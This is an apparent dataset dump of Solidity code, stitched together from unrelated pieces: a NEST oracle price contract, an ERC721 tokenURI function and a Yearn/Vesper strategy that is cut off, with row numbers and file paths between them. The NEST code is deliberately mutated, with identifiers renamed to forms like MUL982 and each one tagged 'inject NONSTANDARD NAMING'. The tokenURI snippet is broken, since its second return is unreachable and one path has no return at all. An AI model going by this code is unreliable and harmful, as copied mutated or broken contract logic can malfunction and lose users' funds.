needs to be greater than 0"); _offerSpan = num; } // Modify price deviation function CHANGEKDEVIATE724(uint256 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING _deviate = num; } // Modify the deviation from scale function CHANGEDEVIATIONFROMSCALE300(uint256 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING _deviationFromScale = num; } // Modify the owner allocation ratio function CHANGEOWNERMINING351(uint256 num) public ONLYOWNER202 { //inject NONSTANDARD NAMING _ownerMining = num; } // Modify the mining decay function CHANGEATTENUATIONAMOUNT1(uint256 firstAmount, uint256 top, uint256 bottom) public ONLYOWNER202 { //inject NONSTANDARD NAMING uint256 blockAmount = firstAmount; for (uint256 i = 0; i < 10; i ++) { _attenuationAmount[i] = blockAmount; blockAmount = blockAmount.MUL982(top).DIV757(bottom); } } // Vote administrators only modifier ONLYOWNER202(){ //inject NONSTANDARD NAMING require(_voteFactory.CHECKOWNERS558(msg.sender), "No authority"); _; } function GETPRICECOUNT52() view public returns (uint256) { //inject NONSTANDARD NAMING return _prices.length; } function GETPRICE258(uint256 priceIndex) view public returns (string memory) { //inject NONSTANDARD NAMING // The buffer array used to generate the result string bytes memory buf = new bytes(500000); uint256 index = 0; index = WRITEOFFERPRICEDATA490(priceIndex, _prices[priceIndex], buf, index); // Generate the result string and return bytes memory str = new bytes(index); while(index-- > 0) { str[index] = buf[index]; } return string(str); } function FIND608(address start, uint256 count, uint256 maxFindCount, address owner) view public returns (string memory) { //inject NONSTANDARD NAMING // Buffer array used to generate result string bytes memory buf = new bytes(500000); uint256 index = 0; // Calculate search interval i and end uint256 i = _prices.length; uint256 end = 0; if (start != address(0)) { i = TOINDEX783(start); } if (i > maxFindCount) { end = i - maxFindCount; } // Loop search, write qualified records into buffer while (count > 0 && i-- > end) { Nest_NToken_OfferPriceData memory price = _prices[i]; if (price.owner == owner) { --count; index = WRITEOFFERPRICEDATA490(i, price, buf, index); } } // Generate result string and return bytes memory str = new bytes(index); while(index-- > 0) { str[index] = buf[index]; } return string(str); } function LIST901(uint256 offset, uint256 count, uint256 order) view public returns (string memory) { //inject NONSTANDARD NAMING // Buffer array used to generate result string bytes memory buf = new bytes(500000); uint256 index = 0; // Find search interval i and end uint256 i = 0; uint256 end = 0; if (order == 0) { // Reverse order, in default // Calculate search interval i and end if (offset < _prices.length) { i = _prices.length - offset; } if (count < i) { end = i - count; } // Write records in the target interval into the buffer while (i-- > end) { index = WRITEOFFERPRICEDATA490(i, _prices[i], buf, index); } } else { // Ascending order // Calculate the search interval i and end if (offset < _prices.length) { i = offset; } else { i = _prices.length; } end = i + count; if(end > _prices.length) { end = _prices.length; } // Write the records in the target interval into the buffer while (i < end) { index = WRITEOFFERPRICEDATA490(i, _prices[i], buf, index); ++i; } } // Generate the result string and return bytes memory str = new bytes(index); while(index-- > 0) { str[index] = buf[index]; } return string(str); } // Write the offer data into the buffer and return the buffer index function WRITEOFFERPRICEDATA490(uint256 priceIndex, Nest_NToken_OfferPriceData memory price, bytes memory buf, uint256 index) pure private returns (uint256) { //inject NONSTANDARD NAMING index = WRITEADDRESS338(TOADDRESS719(priceIndex), buf, index); buf[index++] = byte(uint8(44)); index = WRITEADDRESS338(price.owner, buf, index); buf[index++] = byte(uint8(44)); index = WRITEADDRESS338(price.tokenAddress, buf, index); buf[index++] = byte(uint8(44)); index = WRITEUINT859(price.ethAmount, buf, index); buf[index++] = byte(uint8(44)); index = WRITEUINT859(price.tokenAmount, buf, index); buf[index++] = byte(uint8(44)); index = WRITEUINT859(price.dealEthAmount, buf, index); buf[index++] = byte(uint8(44)); index = WRITEUINT859(price.dealTokenAmount, buf, index); buf[index++] = byte(uint8(44)); index = WRITEUINT859(price.blockNum, buf, index); buf[index++] = byte(uint8(44)); index = WRITEUINT859(price.serviceCharge, buf, index); buf[index++] = byte(uint8(44)); return index; } // Convert integer to string in decimal form, write the string into the buffer, and return the buffer index function WRITEUINT859(uint256 iv, bytes memory buf, uint256 index) pure public returns (uint256) { //inject NONSTANDARD NAMING uint256 i = index; do { buf[index++] = byte(uint8(iv % 10 +48)); iv /= 10; } while (iv > 0); for (uint256 j = index; j > i; ++i) { byte t = buf[i]; buf[i] = buf[--j]; buf[j] = t; } return index; } // Convert the address to a hexadecimal string and write it into the buffer, and return the buffer index function WRITEADDRESS338(address addr, bytes memory buf, uint256 index) pure private returns (uint256) { //inject NONSTANDARD NAMING uint256 iv = uint256(addr); uint256 i = index + 40; do { uint256 w = iv % 16; if(w < 10) { buf[index++] = byte(uint8(w +48)); } else { buf[index++] = byte(uint8(w +87)); } iv /= 16; } while (index < i); i -= 40; for (uint256 j = index; j > i; ++i) { byte t = buf[i]; buf[i] = buf[--j]; buf[j] = t; } return index; } } // Price contract interface Nest_3_OfferPrice { // Add price data function ADDPRICE894(uint256 ethAmount, uint256 tokenAmount, uint256 endBlock, address tokenAddress, address offerOwner) external; //inject NONSTANDARD NAMING // Modify price function CHANGEPRICE820(uint256 ethAmount, uint256 tokenAmount, address tokenAddress, uint256 endBlock) external; //inject NONSTANDARD NAMING function UPDATEANDCHECKPRICEPRIVATE349(address tokenAddress) external view returns(uint256 ethAmount, uint256 erc20Amount); //inject NONSTANDARD NAMING } // Voting contract interface Nest_3_VoteFactory { // Check address function CHECKADDRESS430(string calldata name) external view returns (address contractAddress); //inject NONSTANDARD NAMING // Check whether an administrator function CHECKOWNERS558(address man) external view returns (bool); //inject NONSTANDARD NAMING } // NToken contract interface Nest_NToken { // Additional issuance function INCREASETOTAL78(uint256 value) external; //inject NONSTANDARD NAMING // Check mining information function CHECKBLOCKINFO350() external view returns(uint256 createBlock, uint256 recentlyUsedBlock); //inject NONSTANDARD NAMING // Check creator function CHECKBIDDER306() external view returns(address); //inject NONSTANDARD NAMING function TOTALSUPPLY249() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF133(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER16(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE798(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE147(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM462(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER56(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL26(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // NToken mapping contract interface Nest_NToken_TokenMapping { // Check token mapping function CHECKTOKENMAPPING799(address token) external view returns (address); //inject NONSTANDARD NAMING } // Bonus pool contract interface Nest_3_Abonus { function SWITCHTOETH95(address token) external payable; //inject NONSTANDARD NAMING function SWITCHTOETHFORNTOKENOFFER869(address token) external payable; //inject NONSTANDARD NAMING } library SafeMath { function ADD379(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB918(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB918(a, b, "SafeMath: subtraction overflow"); } function SUB918(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL982(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV757(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV757(a, b, "SafeMath: division by zero"); } function DIV757(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; return c; } function MOD863(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD863(a, b, "SafeMath: modulo by zero"); } function MOD863(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } library address_make_payable { function MAKE_PAYABLE861(address x) internal pure returns (address payable) { //inject NONSTANDARD NAMING return address(uint160(x)); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function SAFETRANSFER797(ERC20 token, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN10(token, abi.encodeWithSelector(token.TRANSFER16.selector, to, value)); } function SAFETRANSFERFROM181(ERC20 token, address from, address to, uint256 value) internal { //inject NONSTANDARD NAMING CALLOPTIONALRETURN10(token, abi.encodeWithSelector(token.TRANSFERFROM462.selector, from, to, value)); } function SAFEAPPROVE632(ERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING require((value == 0) || (token.ALLOWANCE798(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); CALLOPTIONALRETURN10(token, abi.encodeWithSelector(token.APPROVE147.selector, spender, value)); } function SAFEINCREASEALLOWANCE243(ERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE798(address(this), spender).ADD379(value); CALLOPTIONALRETURN10(token, abi.encodeWithSelector(token.APPROVE147.selector, spender, newAllowance)); } function SAFEDECREASEALLOWANCE715(ERC20 token, address spender, uint256 value) internal { //inject NONSTANDARD NAMING uint256 newAllowance = token.ALLOWANCE798(address(this), spender).SUB918(value, "SafeERC20: decreased allowance below zero"); CALLOPTIONALRETURN10(token, abi.encodeWithSelector(token.APPROVE147.selector, spender, newAllowance)); } function CALLOPTIONALRETURN10(ERC20 token, bytes memory data) private { //inject NONSTANDARD NAMING require(address(token).ISCONTRACT477(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface ERC20 { function TOTALSUPPLY249() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF133(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER16(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE798(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE147(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM462(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER56(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL26(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } library Address { function ISCONTRACT477(address account) internal view returns (bool) { //inject NONSTANDARD NAMING bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function SENDVALUE528(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } }
inject NONSTANDARD NAMING
function CHANGEPRICE820(uint256 ethAmount, uint256 tokenAmount, address tokenAddress, uint256 endBlock) external;
14,093,941
./full_match/5/0xE16Bfe2796d7384d05525368379e72Ac71FD36Fd/sources/_thirdweb-dev/contracts/base/ERC721DelayedReveal.sol
/// Returns the metadata URI for an NFT. See `BatchMintMetadata` for handling of metadata in this contract. _tokenId The tokenId of an NFT./
function tokenURI(uint256 _tokenId) public view override returns (string memory) { (uint256 batchId, ) = getBatchId(_tokenId); string memory batchUri = getBaseURI(_tokenId); if (isEncryptedBatch(batchId)) { return string(abi.encodePacked(batchUri, "0")); return string(abi.encodePacked(batchUri, _tokenId.toString())); } } Lazy minting logic
1,896,334
/** *Submitted for verification at Etherscan.io on 2021-04-27 */ // SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Global Enums and Structs struct StrategyParams { uint256 performanceFee; uint256 activation; uint256 debtRatio; uint256 minDebtPerHarvest; uint256 maxDebtPerHarvest; uint256 lastReport; uint256 totalDebt; uint256 totalGain; uint256 totalLoss; } // Part: IName interface IName { function name() external view returns (string memory); } // Part: IPoolRewards interface IPoolRewards { function claimReward(address) external; function claimable(address) external view returns (uint256); function pool() external view returns (address); function rewardPerToken() external view returns (uint256); } // Part: IUniswapV2Router interface IUniswapV2Router { function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } // Part: IVesperPool interface IVesperPool { function approveToken() external; function deposit(uint256) external; function withdraw(uint256) external; function balanceOf(address) external view returns (uint256); function totalSupply() external view returns (uint256); function totalValue() external view returns (uint256); function rewardPerToken() external view returns (uint256); function getPricePerShare() external view returns (uint256); function withdrawFee() external view returns (uint256); } // Part: OpenZeppelin/[email protected]/Address /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: OpenZeppelin/[email protected]/IERC20 /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // Part: OpenZeppelin/[email protected]/Math /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // Part: OpenZeppelin/[email protected]/SafeMath /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: OpenZeppelin/[email protected]/SafeERC20 /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // Part: iearn-finance/[email protected]/VaultAPI interface VaultAPI is IERC20 { function name() external view returns (string calldata); function symbol() external view returns (string calldata); function decimals() external view returns (uint256); function apiVersion() external pure returns (string memory); function permit( address owner, address spender, uint256 amount, uint256 expiry, bytes calldata signature ) external returns (bool); // NOTE: Vyper produces multiple signatures for a given function with "default" args function deposit() external returns (uint256); function deposit(uint256 amount) external returns (uint256); function deposit(uint256 amount, address recipient) external returns (uint256); // NOTE: Vyper produces multiple signatures for a given function with "default" args function withdraw() external returns (uint256); function withdraw(uint256 maxShares) external returns (uint256); function withdraw(uint256 maxShares, address recipient) external returns (uint256); function token() external view returns (address); function strategies(address _strategy) external view returns (StrategyParams memory); function pricePerShare() external view returns (uint256); function totalAssets() external view returns (uint256); function depositLimit() external view returns (uint256); function maxAvailableShares() external view returns (uint256); /** * View how much the Vault would increase this Strategy's borrow limit, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function creditAvailable() external view returns (uint256); /** * View how much the Vault would like to pull back from the Strategy, * based on its present performance (since its last report). Can be used to * determine expectedReturn in your Strategy. */ function debtOutstanding() external view returns (uint256); /** * View how much the Vault expect this Strategy to return at the current * block, based on its present performance (since its last report). Can be * used to determine expectedReturn in your Strategy. */ function expectedReturn() external view returns (uint256); /** * This is the main contact point where the Strategy interacts with the * Vault. It is critical that this call is handled as intended by the * Strategy. Therefore, this function will be called by BaseStrategy to * make sure the integration is correct. */ function report( uint256 _gain, uint256 _loss, uint256 _debtPayment ) external returns (uint256); /** * This function should only be used in the scenario where the Strategy is * being retired but no migration of the positions are possible, or in the * extreme scenario that the Strategy needs to be put into "Emergency Exit" * mode in order for it to exit as quickly as possible. The latter scenario * could be for any reason that is considered "critical" that the Strategy * exits its position as fast as possible, such as a sudden change in * market conditions leading to losses, or an imminent failure in an * external dependency. */ function revokeStrategy() external; /** * View the governance address of the Vault to assert privileged functions * can only be called by governance. The Strategy serves the Vault, so it * is subject to governance defined by the Vault. */ function governance() external view returns (address); /** * View the management address of the Vault to assert privileged functions * can only be called by management. The Strategy serves the Vault, so it * is subject to management defined by the Vault. */ function management() external view returns (address); /** * View the guardian address of the Vault to assert privileged functions * can only be called by guardian. The Strategy serves the Vault, so it * is subject to guardian defined by the Vault. */ function guardian() external view returns (address); } // Part: iearn-finance/[email protected]/BaseStrategy /** * @title Yearn Base Strategy * @author yearn.finance * @notice * BaseStrategy implements all of the required functionality to interoperate * closely with the Vault contract. This contract should be inherited and the * abstract methods implemented to adapt the Strategy to the particular needs * it has to create a return. * * Of special interest is the relationship between `harvest()` and * `vault.report()'. `harvest()` may be called simply because enough time has * elapsed since the last report, and not because any funds need to be moved * or positions adjusted. This is critical so that the Vault may maintain an * accurate picture of the Strategy's performance. See `vault.report()`, * `harvest()`, and `harvestTrigger()` for further details. */ abstract contract BaseStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; string public metadataURI; /** * @notice * Used to track which version of `StrategyAPI` this Strategy * implements. * @dev The Strategy's version must match the Vault's `API_VERSION`. * @return A string which holds the current API version of this contract. */ function apiVersion() public pure returns (string memory) { return "0.3.5"; } /** * @notice This Strategy's name. * @dev * You can use this field to manage the "version" of this Strategy, e.g. * `StrategySomethingOrOtherV1`. However, "API Version" is managed by * `apiVersion()` function above. * @return This Strategy's name. */ function name() external virtual view returns (string memory); /** * @notice * The amount (priced in want) of the total assets managed by this strategy should not count * towards Yearn's TVL calculations. * @dev * You can override this field to set it to a non-zero value if some of the assets of this * Strategy is somehow delegated inside another part of of Yearn's ecosystem e.g. another Vault. * Note that this value must be strictly less than or equal to the amount provided by * `estimatedTotalAssets()` below, as the TVL calc will be total assets minus delegated assets. * Also note that this value is used to determine the total assets under management by this * strategy, for the purposes of computing the management fee in `Vault` * @return * The amount of assets this strategy manages that should not be included in Yearn's Total Value * Locked (TVL) calculation across it's ecosystem. */ function delegatedAssets() external virtual view returns (uint256) { return 0; } VaultAPI public vault; address public strategist; address public rewards; address public keeper; IERC20 public want; // So indexers can keep track of this event Harvested(uint256 profit, uint256 loss, uint256 debtPayment, uint256 debtOutstanding); event UpdatedStrategist(address newStrategist); event UpdatedKeeper(address newKeeper); event UpdatedRewards(address rewards); event UpdatedMinReportDelay(uint256 delay); event UpdatedMaxReportDelay(uint256 delay); event UpdatedProfitFactor(uint256 profitFactor); event UpdatedDebtThreshold(uint256 debtThreshold); event EmergencyExitEnabled(); event UpdatedMetadataURI(string metadataURI); // The minimum number of seconds between harvest calls. See // `setMinReportDelay()` for more details. uint256 public minReportDelay; // The maximum number of seconds between harvest calls. See // `setMaxReportDelay()` for more details. uint256 public maxReportDelay; // The minimum multiple that `callCost` must be above the credit/profit to // be "justifiable". See `setProfitFactor()` for more details. uint256 public profitFactor; // Use this to adjust the threshold at which running a debt causes a // harvest trigger. See `setDebtThreshold()` for more details. uint256 public debtThreshold; // See note on `setEmergencyExit()`. bool public emergencyExit; // modifiers modifier onlyAuthorized() { require(msg.sender == strategist || msg.sender == governance(), 